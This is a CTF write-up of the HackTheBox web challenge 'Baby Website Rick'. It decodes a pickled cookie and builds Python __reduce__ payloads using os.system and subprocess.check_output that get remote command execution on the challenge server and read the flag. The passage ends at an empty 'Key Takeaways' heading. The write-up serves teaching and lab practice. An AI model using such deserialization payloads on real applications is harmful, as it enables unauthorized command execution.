Baby Website Rick Writeup

10 September 2022 #CTF #HTB #chall #easy #web

First Look

After launching the instance, we can access this page:

page

The stuff between the angle brackets looks like the output when you print an object in python:

$ python
Python 3.10.6 (main, Aug  2 2022, 00:00:00) [GCC 12.1.1 20220507 (Red Hat 12.1.1-1)] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> x = object()
>>> print(x)
<object object at 0x7f976db7c850>

We also have a cookie, let's decode it:

$ echo -n 'KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu' | base64 -d
(dp0
S'serum'
p1
ccopy_reg
_reconstructor
p2
(c__main__
anti_pickle_serum
p3
c__builtin__
object
p4
Ntp5
Rp6
s.

Given that the title of the page is 'insecure deserialization' and the reference to Rick, we can assume this is a serialized python object.

this link confirms that it is using the 'pickle' module (hence Rick).

Analysis

A good start would be to deserialize the object ourselves to mimic what we think the server is doing:

# srv.py
import pickle, base64, sys

class anti_pickle_serum():
    pass

ser = base64.b64decode(sys.argv[1])
deser = pickle.loads(ser)

print(deser)

We know there is an anti_pickle_serum object so we create it as an empty class.

We take our cookie, base64 decode it, deserialize it and print the result:

$ python srv.py KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu
{'serum': <__main__.anti_pickle_serum object at 0x7f658c8feb30>}

It is actually a dict that contains an anti_pickle_serum object.

Exploitation

Part 0 - The Preparation

We can use the __reduce__ special method to specify how the object should be serialized/deserialized:

# pwn.py
import pickle, base64, os

class anti_pickle_serum():
    def __reduce__(self):
        return os.system, ('ls',)

m = { 'serum': anti_pickle_serum() }
print(base64.b64encode(pickle.dumps(m)))

This will execute the os.system function when the object is deserialized server side. We have to return the function name and a tuple that contains the arguments.

Run it to get a new serialized object:

$ python pwn.py
b'gASVKAAAAAAAAAB9lIwFc2VydW2UjAVwb3NpeJSMBnN5c3RlbZSTlIwCbHOUhZRSlHMu'

Now let's use this with our custom 'server' to see how it behaves:

$ python srv.py gASVKAAAAAAAAAB9lIwFc2VydW2UjAVwb3NpeJSMBnN5c3RlbZSTlIwCbHOUhZRSlHMu
pwn.py  srv.py
{'serum': 0}

Nice, it looks like ls has been executed. The anti_pickle_serum object in the dict is equal to 0 because it's the return value from the os.system function (return code of ls).

Part 1 - The Crash

Why not try this on the remote server? Change the cookie in your browser and refresh the page:

crash with new cookie

What? It crashed? Let's take a look at the server headers:

$ curl -I http://206.189.113.19:31147/
[...]
Server: Werkzeug/1.0.1 Python/2.7.17
[...]

You may already have noticed this if you use Burp but this server is actually running python 2.7!

This probably means we have to use python 2.7 as well...

$ python2 pwn.py
KGRwMApTJ3NlcnVtJwpwMQpjcG9zaXgKc3lzdGVtCnAyCihTJ2xzJwpwMwp0cDQKUnA1CnMu

Notice that the base64 is completely different.

You know the deal, edit the cookies in you browser and refresh the page:

no more crash!

Part 2 - The Confusion

That is surely better, but where is our output? and why 0? Remember when we wrote our custom 'server' script in Part 0?

The server executed the ls command but the object returned after the deserialization was 0 which is the return value of the os.system function (it is actually the exit code of our ls command). Since we have no way to access the stdout of the server, we need to find how to return the output of the system command to our anti_pickle_serum object.

Part 3 - The Good Ending

Looking in the python subprocess module, we find a check_output function that does exactly what we want:

# pwn.py
import pickle, base64, subprocess

class anti_pickle_serum():
    def __reduce__(self):
        return subprocess.check_output, ('ls',)

m = { 'serum': anti_pickle_serum() }
print(base64.b64encode(pickle.dumps(m)))

The only modification here is the use of subprocess.check_output instead of os.system.

Regenerate the cookie:

$ python2 pwn.py
KGRwMApTJ3NlcnVtJwpwMQpjc3VicHJvY2VzcwpjaGVja19vdXRwdXQKcDIKKFMnbHMnCnAzCnRwNApScDUKcy4=

Once again, change cookie + refresh:

ls to get flag filename

Perfect, there is even the file that contains the flag! Now it is just a matter of changing the command to cat flag_wlp1b in our pwn.py and the flag is ours.

Key Takeaways